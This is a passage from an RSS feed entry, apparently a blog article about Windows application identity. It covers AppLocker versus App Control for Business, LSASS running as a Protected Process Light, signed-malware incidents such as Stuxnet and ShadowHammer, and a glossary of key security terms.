No. AppLocker is the Windows 7-era policy mechanism with rules in path/publisher/hash form, no kernel coverage, and no virtualization-based protection of the policy itself. App Control for Business -- formerly Windows Defender Application Control -- is the publisher-rule Code Integrity policy mechanism with HVCI enforcement at the kernel boundary. Microsoft recommends App Control for new deployments and keeps AppLocker for compatibility [@ms-applocker] [@ms-appcontrol].

LSASS is running as a Protected Process Light at the `Lsa` signer level. Signer-level gating sits *above* the token DACL check. Even a SYSTEM-token caller with `SeDebugPrivilege` gets a process handle with `PROCESS_VM_READ` and `PROCESS_VM_WRITE` stripped, because PPL strips access masks before the DACL evaluation. Disable LSA Protection (`RunAsPPL=0`) on a test machine and the same call succeeds [@itm4n-runasppl] [@scrt-ppl-bypass].

Only if the publisher&apos;s signing-key custody and build pipeline are themselves uncompromised. Stuxnet (stolen Realtek and JMicron keys, 2010), ASUS ShadowHammer (compromised production signing pipeline, operation 2018 / disclosed 2019), and the Bitwarden CLI npm incident (2026) all produced cryptographically valid signatures on attacker-controlled bytes [@symantec-stuxnet] [@securelist-shadowhammer] [@bitwarden-statement]. SLSA-level build provenance and Pluton-rooted attestation are the architectural responses; neither is yet universally deployed [@slsa-spec] [@learn-pluton].
&lt;h2&gt;Where this is going&lt;/h2&gt;
&lt;p&gt;Pluton-rooted device attestation, MVI 3.0&apos;s user-mode security platform, SLSA build provenance, and the post-CrowdStrike push to make placement a first-class identity attribute are all in motion in 2026 [@weston-2025] [@slsa-spec]. The follow-on articles -- Driver Block List in production, App Control with HVCI on real fleets, Secure Boot internals, the Pluton firmware-update channel -- are the operational complement to the conceptual story this article has told.&lt;/p&gt;
&lt;p&gt;The arc that began with Windows NT 3.1 having no answer to &quot;who is this code?&quot; now has eight overlapping answers, each insufficient on its own. Identity in 2026 is a multi-layered claim about a binary&apos;s publisher, its build provenance, its runtime placement, and its reputation, evaluated continuously while the code is running. The arc from 1993&apos;s &quot;who launched this thread?&quot; to 2026&apos;s &quot;is this signed binary, in this placement, with this build provenance, on Microsoft&apos;s curated honour list, today, on this hardware-attested device?&quot; is the answer thirty-three years of forced moves produced -- and the question the next thirty-three years will keep asking, because none of the bounds Cohen and Thompson proved have moved.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;app-identity-in-windows&quot; keyTerms={[
  { term: &quot;Authenticode&quot;, definition: &quot;PE-attached PKCS#7 SignedData that names the publisher and detects tampering. Names the publisher, not the code.&quot; },
  { term: &quot;Kernel-Mode Code Signing (KMCS)&quot;, definition: &quot;Vista x64 policy that refuses to load unsigned kernel drivers; chain-to-Microsoft requirement post-2015.&quot; },
  { term: &quot;Protected Process Light (PPL)&quot;, definition: &quot;Windows 8.1 attribute that mediates inter-process access by signer level; LSASS-as-PPL defeats user-mode credential dumpers.&quot; },
  { term: &quot;Package SID&quot;, definition: &quot;Cryptographic application identity (S-1-15-2-...) derived from the MSIX manifest publisher; first-class principal in ACLs and capability checks.&quot; },
  { term: &quot;App Control for Business&quot;, definition: &quot;Publisher-rule Code Integrity policy formerly called WDAC; enforced by HVCI; ships in S Mode and Windows 11 SE by default.&quot; },
  { term: &quot;Mark of the Web (MOTW)&quot;, definition: &quot;Zone.Identifier alternate data stream that records a file&apos;s origin; input to SmartScreen reputation.&quot; },
  { term: &quot;Vulnerable Driver Block List&quot;, definition: &quot;Microsoft-curated WDAC-format deny list shipped quarterly; default-on since Windows 11 22H2; the operational expression of &apos;signed != trusted&apos;.&quot; },
  { term: &quot;Pluton&quot;, definition: &quot;On-die Microsoft security processor in AMD Ryzen 6000+, Intel Core Ultra 200V, and Qualcomm 8cx Gen 3; firmware updated through Windows Update.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>authenticode</category><category>code-signing</category><category>protected-process-light</category><category>appcontainer</category><category>app-control</category><category>driver-blocklist</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>